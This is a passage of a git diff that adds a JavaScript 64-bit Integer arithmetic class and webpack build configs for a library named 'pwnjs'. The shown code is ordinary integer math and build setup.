{!Integer} + * @inner + */ + var MAX_VALUE = fromBits(0xFFFFFFFF|0, 0x7FFFFFFF|0, false); + + /** + * Maximum signed value. + * @type {!Integer} + */ + Integer.MAX_VALUE = MAX_VALUE; + + /** + * @type {!Integer} + * @inner + */ + var MAX_UNSIGNED_VALUE = fromBits(0xFFFFFFFF|0, 0xFFFFFFFF|0, true); + + /** + * Maximum unsigned value. + * @type {!Integer} + */ + Integer.MAX_UNSIGNED_VALUE = MAX_UNSIGNED_VALUE; + + /** + * @type {!Integer} + * @inner + */ + var MIN_VALUE = fromBits(0, 0x80000000|0, false); + + /** + * Minimum signed value. + * @type {!Integer} + */ + Integer.MIN_VALUE = MIN_VALUE; + + /** + * @alias Integer.prototype + * @inner + */ + var IntegerPrototype = Integer.prototype; + + /** + * Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer. + * @returns {number} + */ + IntegerPrototype.toInt = function toInt() { + return this.unsigned ? this.low >>> 0 : this.low; + }; + + /** + * Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa). + * @returns {number} + */ + IntegerPrototype.toNumber = function toNumber() { + if (this.unsigned) + return ((this.high >>> 0) * TWO_PWR_32_DBL) + (this.low >>> 0); + return this.high * TWO_PWR_32_DBL + (this.low >>> 0); + }; + + /** + * Converts the Integer to a string written in the specified radix. + * @param {number=} radix Radix (2-36), defaults to 10 + * @returns {string} + * @override + * @throws {RangeError} If `radix` is out of range + */ + IntegerPrototype.toString = function toString(radix) { + radix = radix || 10; + if (radix < 2 || 36 < radix) + throw RangeError('radix'); + if (this.isZero()) + return '0'; + if (this.isNegative()) { // Unsigned Integers are never negative + if (this.eq(MIN_VALUE)) { + // We need to change the Integer value before it can be negated, so we remove + // the bottom-most digit in this base and then recurse to do the rest. + var radixInteger = fromNumber(radix), + div = this.div(radixInteger), + rem1 = div.mul(radixInteger).sub(this); + return div.toString(radix) + rem1.toInt().toString(radix); + } else + return '-' + this.neg().toString(radix); + } + + // Do several (6) digits each time through the loop, so as to + // minimize the calls to the very expensive emulated div. + var radixToPower = fromNumber(pow_dbl(radix, 6), this.unsigned), + rem = this; + var result = ''; + while (true) { + var remDiv = rem.div(radixToPower), + intval = rem.sub(remDiv.mul(radixToPower)).toInt() >>> 0, + digits = intval.toString(radix); + rem = remDiv; + if (rem.isZero()) + return digits + result; + else { + while (digits.length < 6) + digits = '0' + digits; + result = '' + digits + result; + } + } + }; + + /** + * Gets the high 32 bits as a signed integer. + * @returns {number} Signed high bits + */ + IntegerPrototype.getHighBits = function getHighBits() { + return this.high; + }; + + /** + * Gets the high 32 bits as an unsigned integer. + * @returns {number} Unsigned high bits + */ + IntegerPrototype.getHighBitsUnsigned = function getHighBitsUnsigned() { + return this.high >>> 0; + }; + + /** + * Gets the low 32 bits as a signed integer. + * @returns {number} Signed low bits + */ + IntegerPrototype.getLowBits = function getLowBits() { + return this.low; + }; + + /** + * Gets the low 32 bits as an unsigned integer. + * @returns {number} Unsigned low bits + */ + IntegerPrototype.getLowBitsUnsigned = function getLowBitsUnsigned() { + return this.low >>> 0; + }; + + /** + * Gets the number of bits needed to represent the absolute value of this Integer. + * @returns {number} + */ + IntegerPrototype.getNumBitsAbs = function getNumBitsAbs() { + if (this.isNegative()) // Unsigned Integers are never negative + return this.eq(MIN_VALUE) ? 64 : this.neg().getNumBitsAbs(); + var val = this.high != 0 ? this.high : this.low; + for (var bit = 31; bit > 0; bit--) + if ((val & (1 << bit)) != 0) + break; + return this.high != 0 ? bit + 33 : bit + 1; + }; + + /** + * Tests if this Integer's value equals zero. + * @returns {boolean} + */ + IntegerPrototype.isZero = function isZero() { + return this.high === 0 && this.low === 0; + }; + + /** + * Tests if this Integer's value is negative. + * @returns {boolean} + */ + IntegerPrototype.isNegative = function isNegative() { + return !this.unsigned && this.high < 0; + }; + + /** + * Tests if this Integer's value is positive. + * @returns {boolean} + */ + IntegerPrototype.isPositive = function isPositive() { + return this.unsigned || this.high >= 0; + }; + + /** + * Tests if this Integer's value is odd. + * @returns {boolean} + */ + IntegerPrototype.isOdd = function isOdd() { + return (this.low & 1) === 1; + }; + + /** + * Tests if this Integer's value is even. + * @returns {boolean} + */ + IntegerPrototype.isEven = function isEven() { + return (this.low & 1) === 0; + }; + + /** + * Tests if this Integer's value equals the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.equals = function equals(other) { + if (!isInteger(other)) + other = fromValue(other); + if (this.unsigned !== other.unsigned && (this.high >>> 31) === 1 && (other.high >>> 31) === 1) + return false; + return this.high === other.high && this.low === other.low; + }; + + /** + * Tests if this Integer's value equals the specified's. This is an alias of {@link Integer#equals}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.eq = IntegerPrototype.equals; + + /** + * Tests if this Integer's value differs from the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.notEquals = function notEquals(other) { + return !this.eq(/* validates */ other); + }; + + /** + * Tests if this Integer's value differs from the specified's. This is an alias of {@link Integer#notEquals}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.neq = IntegerPrototype.notEquals; + + /** + * Tests if this Integer's value is less than the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lessThan = function lessThan(other) { + return this.comp(/* validates */ other) < 0; + }; + + /** + * Tests if this Integer's value is less than the specified's. This is an alias of {@link Integer#lessThan}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lt = IntegerPrototype.lessThan; + + /** + * Tests if this Integer's value is less than or equal the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lessThanOrEqual = function lessThanOrEqual(other) { + return this.comp(/* validates */ other) <= 0; + }; + + /** + * Tests if this Integer's value is less than or equal the specified's. This is an alias of {@link Integer#lessThanOrEqual}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.lte = IntegerPrototype.lessThanOrEqual; + + /** + * Tests if this Integer's value is greater than the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.greaterThan = function greaterThan(other) { + return this.comp(/* validates */ other) > 0; + }; + + /** + * Tests if this Integer's value is greater than the specified's. This is an alias of {@link Integer#greaterThan}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.gt = IntegerPrototype.greaterThan; + + /** + * Tests if this Integer's value is greater than or equal the specified's. + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.greaterThanOrEqual = function greaterThanOrEqual(other) { + return this.comp(/* validates */ other) >= 0; + }; + + /** + * Tests if this Integer's value is greater than or equal the specified's. This is an alias of {@link Integer#greaterThanOrEqual}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {boolean} + */ + IntegerPrototype.gte = IntegerPrototype.greaterThanOrEqual; + + /** + * Compares this Integer's value with the specified's. + * @param {!Integer|number|string} other Other value + * @returns {number} 0 if they are the same, 1 if the this is greater and -1 + * if the given one is greater + */ + IntegerPrototype.compare = function compare(other) { + if (!isInteger(other)) + other = fromValue(other); + if (this.eq(other)) + return 0; + var thisNeg = this.isNegative(), + otherNeg = other.isNegative(); + if (thisNeg && !otherNeg) + return -1; + if (!thisNeg && otherNeg) + return 1; + // At this point the sign bits are the same + if (!this.unsigned) + return this.sub(other).isNegative() ? -1 : 1; + // Both are positive if at least one is unsigned + return (other.high >>> 0) > (this.high >>> 0) || (other.high === this.high && (other.low >>> 0) > (this.low >>> 0)) ? -1 : 1; + }; + + /** + * Compares this Integer's value with the specified's. This is an alias of {@link Integer#compare}. + * @function + * @param {!Integer|number|string} other Other value + * @returns {number} 0 if they are the same, 1 if the this is greater and -1 + * if the given one is greater + */ + IntegerPrototype.comp = IntegerPrototype.compare; + + /** + * Negates this Integer's value. + * @returns {!Integer} Negated Integer + */ + IntegerPrototype.negate = function negate() { + if (!this.unsigned && this.eq(MIN_VALUE)) + return MIN_VALUE; + return this.not().add(ONE); + }; + + /** + * Negates this Integer's value. This is an alias of {@link Integer#negate}. + * @function + * @returns {!Integer} Negated Integer + */ + IntegerPrototype.neg = IntegerPrototype.negate; + + /** + * Returns the sum of this and the specified Integer. + * @param {!Integer|number|string} addend Addend + * @returns {!Integer} Sum + */ + IntegerPrototype.add = function add(addend) { + if (!isInteger(addend)) + addend = fromValue(addend); + + // Divide each number into 4 chunks of 16 bits, and then sum the chunks. + + var a48 = this.high >>> 16; + var a32 = this.high & 0xFFFF; + var a16 = this.low >>> 16; + var a00 = this.low & 0xFFFF; + + var b48 = addend.high >>> 16; + var b32 = addend.high & 0xFFFF; + var b16 = addend.low >>> 16; + var b00 = addend.low & 0xFFFF; + + var c48 = 0, c32 = 0, c16 = 0, c00 = 0; + c00 += a00 + b00; + c16 += c00 >>> 16; + c00 &= 0xFFFF; + c16 += a16 + b16; + c32 += c16 >>> 16; + c16 &= 0xFFFF; + c32 += a32 + b32; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c48 += a48 + b48; + c48 &= 0xFFFF; + return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size); + }; + + /** + * Returns the difference of this and the specified Integer. + * @param {!Integer|number|string} subtrahend Subtrahend + * @returns {!Integer} Difference + */ + IntegerPrototype.subtract = function subtract(subtrahend) { + if (!isInteger(subtrahend)) + subtrahend = fromValue(subtrahend); + return this.add(subtrahend.neg()); + }; + + /** + * Returns the difference of this and the specified Integer. This is an alias of {@link Integer#subtract}. + * @function + * @param {!Integer|number|string} subtrahend Subtrahend + * @returns {!Integer} Difference + */ + IntegerPrototype.sub = IntegerPrototype.subtract; + + /** + * Returns the product of this and the specified Integer. + * @param {!Integer|number|string} multiplier Multiplier + * @returns {!Integer} Product + */ + IntegerPrototype.multiply = function multiply(multiplier) { + if (this.isZero()) + return ZERO; + if (!isInteger(multiplier)) + multiplier = fromValue(multiplier); + if (multiplier.isZero()) + return ZERO; + if (this.eq(MIN_VALUE)) + return multiplier.isOdd() ? MIN_VALUE : ZERO; + if (multiplier.eq(MIN_VALUE)) + return this.isOdd() ? MIN_VALUE : ZERO; + + if (this.isNegative()) { + if (multiplier.isNegative()) + return this.neg().mul(multiplier.neg()); + else + return this.neg().mul(multiplier).neg(); + } else if (multiplier.isNegative()) + return this.mul(multiplier.neg()).neg(); + + // If both longs are small, use float multiplication + if (this.lt(TWO_PWR_24) && multiplier.lt(TWO_PWR_24)) + return fromNumber(this.toNumber() * multiplier.toNumber(), this.unsigned); + + // Divide each long into 4 chunks of 16 bits, and then add up 4x4 products. + // We can skip products that would overflow. + + var a48 = this.high >>> 16; + var a32 = this.high & 0xFFFF; + var a16 = this.low >>> 16; + var a00 = this.low & 0xFFFF; + + var b48 = multiplier.high >>> 16; + var b32 = multiplier.high & 0xFFFF; + var b16 = multiplier.low >>> 16; + var b00 = multiplier.low & 0xFFFF; + + var c48 = 0, c32 = 0, c16 = 0, c00 = 0; + c00 += a00 * b00; + c16 += c00 >>> 16; + c00 &= 0xFFFF; + c16 += a16 * b00; + c32 += c16 >>> 16; + c16 &= 0xFFFF; + c16 += a00 * b16; + c32 += c16 >>> 16; + c16 &= 0xFFFF; + c32 += a32 * b00; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c32 += a16 * b16; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c32 += a00 * b32; + c48 += c32 >>> 16; + c32 &= 0xFFFF; + c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48; + c48 &= 0xFFFF; + return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size); + }; + + /** + * Returns the product of this and the specified Integer. This is an alias of {@link Integer#multiply}. + * @function + * @param {!Integer|number|string} multiplier Multiplier + * @returns {!Integer} Product + */ + IntegerPrototype.mul = IntegerPrototype.multiply; + + /** + * Returns this Integer divided by the specified. The result is signed if this Integer is signed or + * unsigned if this Integer is unsigned. + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Quotient + */ + IntegerPrototype.divide = function divide(divisor) { + if (!isInteger(divisor)) + divisor = fromValue(divisor); + if (divisor.isZero()) + throw Error('division by zero'); + if (this.isZero()) + return this.unsigned ? UZERO : ZERO; + var approx, rem, res; + if (!this.unsigned) { + // This section is only relevant for signed longs and is derived from the + // closure library as a whole. + if (this.eq(MIN_VALUE)) { + if (divisor.eq(ONE) || divisor.eq(NEG_ONE)) + return MIN_VALUE; // recall that -MIN_VALUE == MIN_VALUE + else if (divisor.eq(MIN_VALUE)) + return ONE; + else { + // At this point, we have |other| >= 2, so |this/other| < |MIN_VALUE|. + var halfThis = this.shr(1); + approx = halfThis.div(divisor).shl(1); + if (approx.eq(ZERO)) { + return divisor.isNegative() ? ONE : NEG_ONE; + } else { + rem = this.sub(divisor.mul(approx)); + res = approx.add(rem.div(divisor)); + return res; + } + } + } else if (divisor.eq(MIN_VALUE)) + return this.unsigned ? UZERO : ZERO; + if (this.isNegative()) { + if (divisor.isNegative()) + return this.neg().div(divisor.neg()); + return this.neg().div(divisor).neg(); + } else if (divisor.isNegative()) + return this.div(divisor.neg()).neg(); + res = ZERO; + } else { + // The algorithm below has not been made for unsigned longs. It's therefore + // required to take special care of the MSB prior to running it. + if (!divisor.unsigned) + divisor = divisor.toUnsigned(); + if (divisor.gt(this)) + return UZERO; + if (divisor.gt(this.shru(1))) // 15 >>> 1 = 7 ; with divisor = 8 ; true + return UONE; + res = UZERO; + } + + // Repeat the following until the remainder is less than other: find a + // floating-point that approximates remainder / other *from below*, add this + // into the result, and subtract it from the remainder. It is critical that + // the approximate value is less than or equal to the real value so that the + // remainder never becomes negative. + rem = this; + while (rem.gte(divisor)) { + // Approximate the result of division. This may be a little greater or + // smaller than the actual value. + approx = Math.max(1, Math.floor(rem.toNumber() / divisor.toNumber())); + + // We will tweak the approximate result by changing it in the 48-th digit or + // the smallest non-fractional digit, whichever is larger. + var log2 = Math.ceil(Math.log(approx) / Math.LN2), + delta = (log2 <= 48) ? 1 : pow_dbl(2, log2 - 48), + + // Decrease the approximation until it is smaller than the remainder. Note + // that if it is too large, the product overflows and is negative. + approxRes = fromNumber(approx), + approxRem = approxRes.mul(divisor); + while (approxRem.isNegative() || approxRem.gt(rem)) { + approx -= delta; + approxRes = fromNumber(approx, this.unsigned); + approxRem = approxRes.mul(divisor); + } + + // We know the answer can't be zero... and actually, zero would cause + // infinite recursion since we would make no progress. + if (approxRes.isZero()) + approxRes = ONE; + + res = res.add(approxRes); + rem = rem.sub(approxRem); + } + return res; + }; + + /** + * Returns this Integer divided by the specified. This is an alias of {@link Integer#divide}. + * @function + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Quotient + */ + IntegerPrototype.div = IntegerPrototype.divide; + + /** + * Returns this Integer modulo the specified. + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Remainder + */ + IntegerPrototype.modulo = function modulo(divisor) { + if (!isInteger(divisor)) + divisor = fromValue(divisor); + return this.sub(this.div(divisor).mul(divisor)); + }; + + /** + * Returns this Integer modulo the specified. This is an alias of {@link Integer#modulo}. + * @function + * @param {!Integer|number|string} divisor Divisor + * @returns {!Integer} Remainder + */ + IntegerPrototype.mod = IntegerPrototype.modulo; + + /** + * Returns the bitwise NOT of this Integer. + * @returns {!Integer} + */ + IntegerPrototype.not = function not() { + return fromBits(~this.low, ~this.high, this.unsigned, this.size); + }; + + /** + * Returns the bitwise AND of this Integer and the specified. + * @param {!Integer|number|string} other Other Integer + * @returns {!Integer} + */ + IntegerPrototype.and = function and(other) { + if (!isInteger(other)) + other = fromValue(other); + return fromBits(this.low & other.low, this.high & other.high, this.unsigned, this.size); + }; + + /** + * Returns the bitwise OR of this Integer and the specified. + * @param {!Integer|number|string} other Other Integer + * @returns {!Integer} + */ + IntegerPrototype.or = function or(other) { + if (!isInteger(other)) + other = fromValue(other); + return fromBits(this.low | other.low, this.high | other.high, this.unsigned, this.size); + }; + + /** + * Returns the bitwise XOR of this Integer and the given one. + * @param {!Integer|number|string} other Other Integer + * @returns {!Integer} + */ + IntegerPrototype.xor = function xor(other) { + if (!isInteger(other)) + other = fromValue(other); + return fromBits(this.low ^ other.low, this.high ^ other.high, this.unsigned, this.size); + }; + + /** + * Returns this Integer with bits shifted to the left by the given amount. + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shiftLeft = function shiftLeft(numBits) { + if (isInteger(numBits)) + numBits = numBits.toInt(); + if ((numBits &= 63) === 0) + return this; + else if (numBits < 32) + return fromBits(this.low << numBits, (this.high << numBits) | (this.low >>> (32 - numBits)), this.unsigned, this.size); + else + return fromBits(0, this.low << (numBits - 32), this.unsigned, this.size); + }; + + /** + * Returns this Integer with bits shifted to the left by the given amount. This is an alias of {@link Integer#shiftLeft}. + * @function + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shl = IntegerPrototype.shiftLeft; + + /** + * Returns this Integer with bits arithmetically shifted to the right by the given amount. + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shiftRight = function shiftRight(numBits) { + if (isInteger(numBits)) + numBits = numBits.toInt(); + if ((numBits &= 63) === 0) + return this; + else if (numBits < 32) + return fromBits((this.low >>> numBits) | (this.high << (32 - numBits)), this.high >> numBits, this.unsigned, this.size); + else + return fromBits(this.high >> (numBits - 32), this.high >= 0 ? 0 : -1, this.unsigned, this.size); + }; + + /** + * Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRight}. + * @function + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shr = IntegerPrototype.shiftRight; + + /** + * Returns this Integer with bits logically shifted to the right by the given amount. + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shiftRightUnsigned = function shiftRightUnsigned(numBits) { + if (isInteger(numBits)) + numBits = numBits.toInt(); + numBits &= 63; + if (numBits === 0) + return this; + else { + var high = this.high; + if (numBits < 32) { + var low = this.low; + return fromBits((low >>> numBits) | (high << (32 - numBits)), high >>> numBits, this.unsigned, this.size); + } else if (numBits === 32) + return fromBits(high, 0, this.unsigned, this.size); + else + return fromBits(high >>> (numBits - 32), 0, this.unsigned, this.size); + } + }; + + /** + * Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRightUnsigned}. + * @function + * @param {number|!Integer} numBits Number of bits + * @returns {!Integer} Shifted Integer + */ + IntegerPrototype.shru = IntegerPrototype.shiftRightUnsigned; + + /** + * Converts this Integer to signed. + * @returns {!Integer} Signed long + */ + IntegerPrototype.toSigned = function toSigned() { + if (!this.unsigned) + return this; + return fromBits(this.low, this.high, false, this.size); + }; + + /** + * Converts this Integer to unsigned. + * @returns {!Integer} Unsigned long + */ + IntegerPrototype.toUnsigned = function toUnsigned() { + if (this.unsigned) + return this; + return fromBits(this.low, this.high, true, this.size); + }; + + /** + * Converts this Integer to its byte representation. + * @param {boolean=} le Whether little or big endian, defaults to big endian + * @returns {!Array.} Byte representation + */ + IntegerPrototype.toBytes = function(le) { + return le ? this.toBytesLE() : this.toBytesBE(); + } + + /** + * Converts this Integer to its little endian byte representation. + * @returns {!Array.} Little endian byte representation + */ + IntegerPrototype.toBytesLE = function() { + var hi = this.high, + lo = this.low; + return [ + lo & 0xff, + (lo >>> 8) & 0xff, + (lo >>> 16) & 0xff, + (lo >>> 24) & 0xff, + hi & 0xff, + (hi >>> 8) & 0xff, + (hi >>> 16) & 0xff, + (hi >>> 24) & 0xff + ]; + } + + /** + * Converts this Integer to its big endian byte representation. + * @returns {!Array.} Big endian byte representation + */ + IntegerPrototype.toBytesBE = function() { + var hi = this.high, + lo = this.low; + return [ + (hi >>> 24) & 0xff, + (hi >>> 16) & 0xff, + (hi >>> 8) & 0xff, + hi & 0xff, + (lo >>> 24) & 0xff, + (lo >>> 16) & 0xff, + (lo >>> 8) & 0xff, + lo & 0xff + ]; + } + + return Integer; +})(); + +export default Integer; diff --git a/webpack.common.js b/webpack.common.js new file mode 100644 index 0000000..4f2f223 --- /dev/null +++ b/webpack.common.js @@ -0,0 +1,12 @@ +const path = require('path'); + +module.exports = { + entry: './src/index.js', + output: { + library: 'pwnjs', + path: path.resolve(__dirname, 'dist') + }, + resolve: { + modules: [path.resolve(__dirname, "src"), "node_modules"] + } +}; diff --git a/webpack.dev.js b/webpack.dev.js new file mode 100644 index 0000000..0942cf4 --- /dev/null +++ b/webpack.dev.js @@ -0,0 +1,8 @@ +const merge = require('webpack-merge'); +const common = require('./webpack.common.js'); + +module.exports = merge(common, { + output: { + filename: 'pwn.js' + } +}); diff --git a/webpack.prod.js b/webpack.prod.js new file mode 100644 index 0000000..4ccdb20 --- /dev/null +++ b/webpack.prod.js @@ -0,0 +1,12 @@ +const UglifyJSPlugin = require('uglifyjs-webpack-plugin') +const merge = require('webpack-merge'); +const common = require('./webpack.common.js'); + +module.exports = merge(common, { + output: { + filename: 'pwn.min.js' + }, + plugins: [ + new UglifyJSPlugin() + ] +});